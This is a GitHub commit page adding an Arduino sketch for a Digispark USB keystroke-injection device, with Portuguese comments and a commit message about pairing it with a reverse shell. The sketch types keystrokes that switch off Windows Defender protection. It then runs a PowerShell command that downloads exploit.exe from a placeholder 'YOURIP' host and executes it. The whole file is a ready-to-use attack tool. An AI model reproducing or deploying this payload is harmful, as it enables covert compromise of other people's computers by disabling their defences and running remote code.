Skip to content

Commit 0273c77

Browse files
Create cmdrevshell.ino
Work's better with an Assembly reverse shell.
1 parent 91481b3 commit 0273c77

File tree

1 file changed

+77
-0
lines changed

1 file changed

+77
-0
lines changed
Lines changed: 77 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,77 @@
1+
#include "DigiKeyboard.h"
2+
#include "DigiKeyboardPtBr.h"
3+
4+
void setup() {
5+
pinMode(0,OUTPUT);
6+
pinMode(1,OUTPUT);
7+
}
8+
9+
void loop() {
10+
pisca_led(100);
11+
//Desliga o Windows Defender
12+
DigiKeyboard.delay(1000);
13+
DigiKeyboard.sendKeyStroke(KEY_M, MOD_GUI_LEFT); //Minimiza todas as janelas abertas
14+
DigiKeyboard.delay(1500);
15+
DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); //Abre o executar
16+
DigiKeyboard.delay(1500);
17+
DigiKeyboard.println("Windowsdefender://threat/"); //Abre o windows defender pelo executar
18+
DigiKeyboard.delay(1000);
19+
DigiKeyboard.print("\t\t\t\t"); //4 TAB
20+
DigiKeyboard.delay(1000);
21+
DigiKeyboard.sendKeyStroke(KEY_ENTER);
22+
DigiKeyboard.delay(500);
23+
DigiKeyboard.sendKeyStroke(KEY_SPACE);
24+
DigiKeyboard.delay(500);
25+
DigiKeyboard.print("\t\t"); //2 TAB
26+
DigiKeyboard.delay(500);
27+
DigiKeyboard.sendKeyStroke(KEY_ENTER);
28+
DigiKeyboard.delay(1000);
29+
DigiKeyboard.print("\t\t\t\t"); //4 TAB
30+
DigiKeyboard.delay(500);
31+
DigiKeyboard.sendKeyStroke(KEY_SPACE);
32+
DigiKeyboard.delay(1000);
33+
DigiKeyboard.print("\t\t\t\t"); //4 TAB
34+
DigiKeyboard.delay(500);
35+
DigiKeyboard.sendKeyStroke(KEY_ENTER);
36+
DigiKeyboard.delay(500);
37+
DigiKeyboard.sendKeyStroke(KEY_SPACE);
38+
DigiKeyboard.delay(500);
39+
DigiKeyboard.print("\t\t"); //2 TAB
40+
DigiKeyboard.delay(500);
41+
DigiKeyboard.sendKeyStroke(KEY_ENTER);
42+
DigiKeyboard.delay(1000);
43+
DigiKeyboard.sendKeyStroke(KEY_F4, MOD_ALT_LEFT); //Fecha a janela
44+
DigiKeyboard.delay(5000);
45+
//Download assembly script
46+
DigiKeyboard.sendKeyStroke(0);
47+
DigiKeyboard.delay(500);
48+
DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
49+
DigiKeyboard.delay(500);
50+
DigiKeyboard.println("cmd /k mode con: cols=15 lines=1");
51+
DigiKeyboard.delay(500);
52+
DigiKeyboard.sendKeyStroke(KEY_ENTER);
53+
DigiKeyboard.delay(3000);
54+
DigiKeyboard.print("\t\t");
55+
DigiKeyboard.delay(500);
56+
DigiKeyboard.sendKeyStroke(KEY_ENTER);
57+
DigiKeyboard.delay(1000);
58+
DigiKeyboard.println("cmd /c powershell -Command wget 'http://YOURIP/exploit.exe' -Outfile c:/windows/temp/exploit.exe ; c:/windows/temp/exploit.exe");
59+
DigiKeyboard.delay(100);
60+
DigiKeyboard.sendKeyStroke(KEY_ENTER);
61+
DigiKeyboard.delay(1000);
62+
DigiKeyboard.sendKeyStroke(KEY_M, MOD_GUI_LEFT);
63+
//
64+
pisca_led(1000);
65+
for(;;){ /*empty*/ }
66+
}
67+
68+
void pisca_led(int velocidade){
69+
for (int inicio =1; inicio <= 10; inicio ++) {
70+
digitalWrite(0, HIGH);
71+
digitalWrite(1, HIGH);
72+
DigiKeyboardPtBr.delay(velocidade);
73+
digitalWrite(0, LOW);
74+
digitalWrite(1, LOW);
75+
DigiKeyboardPtBr.delay(velocidade);
76+
}
77+
}

0 commit comments

Comments
 (0)